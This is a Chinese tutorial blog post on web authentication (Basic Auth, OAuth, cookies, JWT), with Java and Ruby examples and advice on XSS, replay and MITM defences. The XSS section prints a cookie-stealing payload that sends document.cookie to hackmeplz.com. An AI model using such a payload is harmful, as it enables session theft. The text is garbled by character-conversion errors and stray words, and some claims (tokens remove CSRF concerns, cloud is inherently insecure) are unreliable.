OAuth(開放受權)

HTTP Basic Auth

HTTP Basic Auth簡單點說明就是每次請求API時都提供用戶的username和password,簡言之,Basic Auth是配合RESTful API 使用的最簡單的認證方式,只需提供用戶名密碼便可,但因爲有把用戶名密碼暴露給第三方客戶端的風險,在生產環境下被使用的愈來愈少。所以,在開發對外開放的RESTful API時,儘可能避免採用HTTP Basic Authjavascript

OAuth

OAuth(開放受權)是一個開放的受權標準,容許用戶讓第三方應用訪問該用戶在某一web服務上存儲的私密的資源(如照片,視頻,聯繫人列表),而無需將用戶名和密碼提供給第三方應用。css

OAuth容許用戶提供一個令牌,而不是用戶名和密碼來訪問他們存放在特定服務提供者的數據。每個令牌受權一個特定的第三方系統(例如,視頻編輯網站)在特定的時段(例如,接下來的2小時內)內訪問特定的資源(例如僅僅是某一相冊中的視頻)。這樣,OAuth讓用戶能夠受權第三方網站訪問他們存儲在另外服務提供者的某些特定信息,而非全部內容
下面是OAuth2.0的流程:
html

這種基於OAuth的認證機制適用於我的消費者類的互聯網產品,如社交類APP等應用,可是不太適合擁有自有認證權限管理的企業應用;前端

Cookie認證機制就是爲一次請求認證在服務端建立一個Session對象,同時在客戶端的瀏覽器端建立了一個Cookie對象;經過客戶端帶上來Cookie對象來與服務器端的session對象匹配來實現狀態管理的。默認的,當咱們關閉瀏覽器的時候,cookie會被刪除。但能夠經過修改cookie 的expire time使cookie在必定時間內有效;java

Token Auth

Token Auth的優勢

Token機制相對於Cookie機制又有什麼好處呢?node

  • 支持跨域訪問: Cookie是不容許垮域訪問的,這一點對Token機制是不存在的,前提是傳輸的用戶認證信息經過HTTP頭傳輸.
  • 無狀態(也稱:服務端可擴展行):Token機制在服務端不須要存儲session信息,由於Token 自身包含了全部登陸用戶的信息,只須要在客戶端的cookie或本地介質存儲狀態信息.
  • 更適用CDN: 能夠經過內容分發網絡請求你服務端的全部資料(如:javascript,HTML,圖片等),而你的服務端只要提供API便可.
  • 去耦: 不須要綁定到一個特定的身份驗證方案。Token能夠在任何地方生成,只要在你的API被調用的時候,你能夠進行Token生成調用便可.
  • 更適用於移動應用: 當你的客戶端是一個原平生臺(iOS, Android,Windows 8等)時,Cookie是不被支持的(你須要經過Cookie容器進行處理),這時採用Token認證機制就會簡單得多。
  • CSRF:由於再也不依賴於Cookie,因此你就不須要考慮對CSRF(跨站請求僞造)的防範。
  • 性能: 一次網絡往返時間(經過數據庫查詢session信息)總比作一次HMACSHA256計算 的Token驗證和解析要費時得多.
  • 不須要爲登陸頁面作特殊處理: 若是你使用Protractor 作功能測試的時候,再也不須要爲登陸頁面作特殊處理.
  • 基於標準化:你的API能夠採用標準化的 JSON Web Token (JWT). 這個標準已經存在多個後端庫(.NET, Ruby, Java,Python, PHP)和多家公司的支持(如:Firebase,Google, Microsoft).

基於JWT的Token認證機制實現

JSON Web Token(JWT)是一個很是輕巧的規範。這個規範容許咱們使用JWT在用戶和服務器之間傳遞安全可靠的信息。其git

JWT的組成

一個JWT實際上就是一個字符串,它由三部分組成,頭部、載荷與簽名。
載荷(Payload)github

{ "iss": "Online JWT Builder", "iat": 1416797419, "exp": 1448333419, "aud": "www.example.com", "sub": "jrocket@example.com", "GivenName": "Johnny", "Surname": "Rocket", "Email": "jrocket@example.com", "Role": [ "Manager", "Project Administrator" ] }
  • iss: 該JWT的簽發者,是否使用是可選的;
  • sub: 該JWT所面向的用戶,是否使用是可選的;
  • aud: 接收該JWT的一方,是否使用是可選的;
  • exp(expires): 何時過時,這裏是一個Unix時間戳,是否使用是可選的;
  • iat(issued at): 在何時簽發的(UNIX時間),是否使用是可選的;
    其餘還有:
  • nbf (Not Before):若是當前時間在nbf裏的時間以前,則Token不被接受;通常都會留一些餘地,好比幾分鐘;,是否使用是可選的;

將上面的JSON對象進行[base64編碼]能夠獲得下面的字符串。這個字符串咱們將它稱做JWT的Payload(載荷)。web

eyJpc3MiOiJKb2huIFd1IEpXVCIsImlhdCI6MTQ0MTU5MzUwMiwiZXhwIjoxNDQxNTk0NzIyLCJhdWQiOiJ3d3cuZXhhbXBsZS5jb20iLCJzdWIiOiJqcm9ja2V0QGV4YW1wbGUuY29tIiwiZnJvbV91c2VyIjoiQiIsInRhcmdldF91c2VyIjoiQSJ9

小知識:Base64是一種基於64個可打印字符來表示二進制數據的表示方法。因爲2的6次方等於64,因此每6個比特爲一個單元,對應某個可打印字符。三個字節有24個比特,對應於4個Base64單元,即3個字節須要用4個可打印字符來表示。JDK 中提供了很是方便的 BASE64Encoder 和 BASE64Decoder,用它們能夠很是方便的完成基於 BASE64 的編碼和解碼redis

頭部(Header)
JWT還須要一個頭部,頭部用於描述關於該JWT的最基本的信息,例如其類型以及簽名所用的算法等。這也能夠被表示成一個JSON對象。

{
"typ": "JWT", "alg": "HS256" }

在頭部指明瞭簽名算法是HS256算法。
固然頭部也要進行BASE64編碼,編碼後的字符串以下:

eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9

簽名(Signature)
將上面的兩個編碼後的字符串都用句號.鏈接在一塊兒(頭部在前),就造成了:

eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJmcm9tX3VzZXIiOiJCIiwidGFyZ2V0X3VzZXIiOiJBIn0

最後,咱們將上面拼接完的字符串用HS256算法進行加密。在加密的時候,咱們還須要提供一個密鑰(secret)。若是咱們用mystar做爲密鑰的話,那麼就能夠獲得咱們加密後的內容:

rSWamyAYwuHCo7IFAgd1oRpSP7nzL7BF5t7ItqpKViM

最後將這一部分簽名也拼接在被簽名的字符串後面,咱們就獲得了完整的JWT:

eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJmcm9tX3VzZXIiOiJCIiwidGFyZ2V0X3VzZXIiOiJBIn0.rSWamyAYwuHCo7IFAgd1oRpSP7nzL7BF5t7ItqpKViM

在咱們的請求URL中會帶上這串JWT字符串:

https://your.awesome-app.com/make-friend/?jwt=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJmcm9tX3VzZXIiOiJCIiwidGFyZ2V0X3VzZXIiOiJBIn0.rSWamyAYwuHCo7IFAgd1oRpSP7nzL7BF5t7ItqpKViM

認證過程

下面咱們從一個實例來看如何運用JWT機制實現認證:

登陸

  • 第一次認證:第一次登陸,用戶從瀏覽器輸入用戶名/密碼,提交後到服務器的登陸處理的Action層(Login Action);
  • Login Action調用認證服務進行用戶名密碼認證,若是認證經過,Login Action層調用用戶信息服務獲取用戶信息(包括完整的用戶信息及對應權限信息);
  • 返回用戶信息後,Login Action從配置文件中獲取Token簽名生成的祕鑰信息,進行Token的生成;
  • 生成Token的過程當中能夠調用第三方的JWT Lib生成簽名後的JWT數據;
  • 完成JWT數據簽名後,將其設置到COOKIE對象中,並重定向到首頁,完成登陸過程;

請求認證

基於Token的認證機制會在每一次請求中都帶上完成簽名的Token信息,這個Token信息可能在COOKIE
中,也可能在HTTP的Authorization頭中;

  • 客戶端(APP客戶端或瀏覽器)經過GET或POST請求訪問資源(頁面或調用API);
  • 認證服務做爲一個Middleware HOOK 對請求進行攔截,首先在cookie中查找Token信息,若是沒有找到,則在HTTP Authorization Head中查找;
  • 若是找到Token信息,則根據配置文件中的簽名加密祕鑰,調用JWT Lib對Token信息進行解密和解碼;
  • 完成解碼並驗證簽名經過後,對Token中的exp、nbf、aud等信息進行驗證;
  • 所有經過後,根據獲取的用戶的角色權限信息,進行對請求的資源的權限邏輯判斷;
  • 若是權限邏輯判斷經過則經過Response對象返回;不然則返回HTTP 401;

對Token認證的五點認識

對Token認證機制有5點直接注意的地方:

  • 一個Token就是一些信息的集合;
  • 在Token中包含足夠多的信息,以便在後續請求中減小查詢數據庫的概率;
  • 服務端須要對cookie和HTTP Authrorization Header進行Token信息的檢查;
  • 基於上一點,你能夠用一套token認證代碼來面對瀏覽器類客戶端和非瀏覽器類客戶端;
  • 由於token是被簽名的,因此咱們能夠認爲一個能夠解碼認證經過的token是由咱們系統發放的,其中帶的信息是合法有效的;

JWT的JAVA實現

Java中對JWT的支持能夠考慮使用JJWT開源庫;JJWT實現了JWT, JWS, JWE 和 JWA RFC規範;下面將簡單舉例說明其使用:
生成Token碼

import javax.crypto.spec.SecretKeySpec; import javax.xml.bind.DatatypeConverter; import java.security.Key; import io.jsonwebtoken.*; import java.util.Date; //Sample method to construct a JWT private String createJWT(String id, String issuer, String subject, long ttlMillis) { //The JWT signature algorithm we will be using to sign the token SignatureAlgorithm signatureAlgorithm = SignatureAlgorithm.HS256; long nowMillis = System.currentTimeMillis(); Date now = new Date(nowMillis); //We will sign our JWT with our ApiKey secret byte[] apiKeySecretBytes = DatatypeConverter.parseBase64Binary(apiKey.getSecret()); Key signingKey = new SecretKeySpec(apiKeySecretBytes, signatureAlgorithm.getJcaName()); //Let's set the JWT Claims JwtBuilder builder = Jwts.builder().setId(id) .setIssuedAt(now) .setSubject(subject) .setIssuer(issuer) .signWith(signatureAlgorithm, signingKey); //if it has been specified, let's add the expiration if (ttlMillis >= 0) { long expMillis = nowMillis + ttlMillis; Date exp = new Date(expMillis); builder.setExpiration(exp); } //Builds the JWT and serializes it to a compact, URL-safe string return builder.compact(); }

解碼和驗證Token碼

import javax.xml.bind.DatatypeConverter; import io.jsonwebtoken.Jwts; import io.jsonwebtoken.Claims; //Sample method to validate and read the JWT private void parseJWT(String jwt) { //This line will throw an exception if it is not a signed JWS (as expected) Claims claims = Jwts.parser() .setSigningKey(DatatypeConverter.parseBase64Binary(apiKey.getSecret())) .parseClaimsJws(jwt).getBody(); System.out.println("ID: " + claims.getId()); System.out.println("Subject: " + claims.getSubject()); System.out.println("Issuer: " + claims.getIssuer()); System.out.println("Expiration: " + claims.getExpiration()); } 

基於JWT的Token認證的安全問題

確保驗證過程的安全性

如何保證用戶名/密碼驗證過程的安全性;由於在驗證過程當中,須要用戶輸入用戶名和密碼,在這一過程當中,用戶名、密碼等敏感信息須要在網絡中傳輸。所以,在這個過程當中建議採用HTTPS,經過SSL加密傳輸,以確保通道的安全性。

如何防範XSS Attacks

瀏覽器能夠作不少事情,這也給瀏覽器端的安全帶來不少隱患,最多見的如:XSS攻擊:跨站腳本攻擊(Cross Site Scripting);若是有個頁面的輸入框中容許輸入任何信息,且沒有作防範措施,若是咱們輸入下面這段代碼:

<img src="x" /> a.src='https://hackmeplz.com/yourCookies.png/?cookies=’ +document.cookie;return a}())"

這段代碼會盜取你域中的全部cookie信息,併發送到 hackmeplz.com;那麼咱們如何來防範這種攻擊呢?

//設置cookie
response.addHeader("Set-Cookie", "uid=112; Path=/; HttpOnly"); //設置多個cookie response.addHeader("Set-Cookie", "uid=112; Path=/; HttpOnly"); response.addHeader("Set-Cookie", "timeout=30; Path=/test; HttpOnly"); //設置https的cookie response.addHeader("Set-Cookie", "uid=112; Path=/; Secure; HttpOnly"); 

在實際使用中,咱們可使FireCookie查看咱們設置的Cookie 是不是HttpOnly;

如何防範Replay Attacks

所謂重放攻擊就是攻擊者發送一個目的主機已接收過的包,來達到欺騙系統的目的,主要用於身份認證過程。好比在瀏覽器端經過用戶名/密碼驗證得到簽名的Token被木馬竊取。即便用戶登出了系統,黑客仍是能夠利用竊取的Token模擬正常請求,而服務器端對此徹底不知道,覺得JWT機制是無狀態的。
針對這種狀況,有幾種經常使用作法能夠用做參考:
一、時間戳 +共享祕鑰
這種方案,客戶端和服務端都須要知道:

  • User ID
  • 共享祕鑰

客戶端

auth_header = JWT.encode({
 user_id: 123,  iat: Time.now.to_i, # 指定token發佈時間  exp: Time.now.to_i + 2 # 指定token過時時間爲2秒後,2秒時間足夠一次HTTP請求,同時在必定程度確保上一次token過時,減小replay attack的機率; }, "<my shared secret>") RestClient.get("http://api.example.com/", authorization: auth_header) 

服務端

class ApiController < ActionController::Base attr_reader :current_user before_action :set_current_user_from_jwt_token def set_current_user_from_jwt_token # Step 1:解碼JWT,並獲取User ID,這個時候不對Token簽名進行檢查 # the signature. Note JWT tokens are *not* encrypted, but signed. payload = JWT.decode(request.authorization, nil, false) # Step 2: 檢查該用戶是否存在於數據庫 @current_user = User.find(payload['user_id']) # Step 3: 檢查Token簽名是否正確. JWT.decode(request.authorization, current_user.api_secret) # Step 4: 檢查 "iat" 和"exp" 以確保這個Token是在2秒內建立的. now = Time.now.to_i if payload['iat'] > now || payload['exp'] < now # 若是過時則返回401 end rescue JWT::DecodeError # 返回 401 end end 

二、時間戳 +共享祕鑰+黑名單 (相似Zendesk的作法)
客戶端

auth_header = JWT.encode({
 user_id: 123,  jti: rand(2 << 64).to_s, # 經過jti確保一個token只使用一次,防止replace attack  iat: Time.now.to_i, # 指定token發佈時間.  exp: Time.now.to_i + 2 # 指定token過時時間爲2秒後 }, "<my shared secret>") RestClient.get("http://api.example.com/", authorization: auth_header)

服務端

def set_current_user_from_jwt_token # 前面的步驟參考上面 payload = JWT.decode(request.authorization, nil, false) @current_user = User.find(payload['user_id']) JWT.decode(request.authorization, current_user.api_secret) now = Time.now.to_i if payload['iat'] > now || payload['exp'] < now # 返回401 end # 下面將檢查確保這個JWT以前沒有被使用過 # 使用Redis的原子操做 # The redis 的鍵: <user id>:<one-time use token> key = "#{payload['user_id']}:#{payload['jti']}" # 看鍵值是否在redis中已經存在. 若是不存在則返回nil. 若是存在則返回「1」. . if redis.getset(key, "1") # 返回401 # end # 進行鍵值過時檢查 redis.expireat(key, payload['exp'] + 2) end 

如何防範MITM (Man-In-The-Middle)Attacks

所謂MITM攻擊,就是在客戶端和服務器端的交互過程被監聽,好比像能夠上網的咖啡館的WIFI被監聽或者被黑的代理服務器等;
針對這類攻擊的辦法使用HTTPS,包括針對分佈式應用,在服務間傳輸像cookie這類敏感信息時也採用HTTPS;因此雲計算在本質上是不安全的。

參考目錄:
https://stormpath.com/blog/build-secure-user-interfaces-using-jwts
https://auth0.com/blog/2014/01/27/ten-things-you-should-know-about-tokens-and-cookies/
https://www.quora.com/Is-JWT-JSON-Web-Token-insecure-by-design
https://github.com/auth0/node-jsonwebtoken/issues/36
http://christhorntonsf.com/secure-your-apis-with-jwt/

相關文章
相關標籤/搜索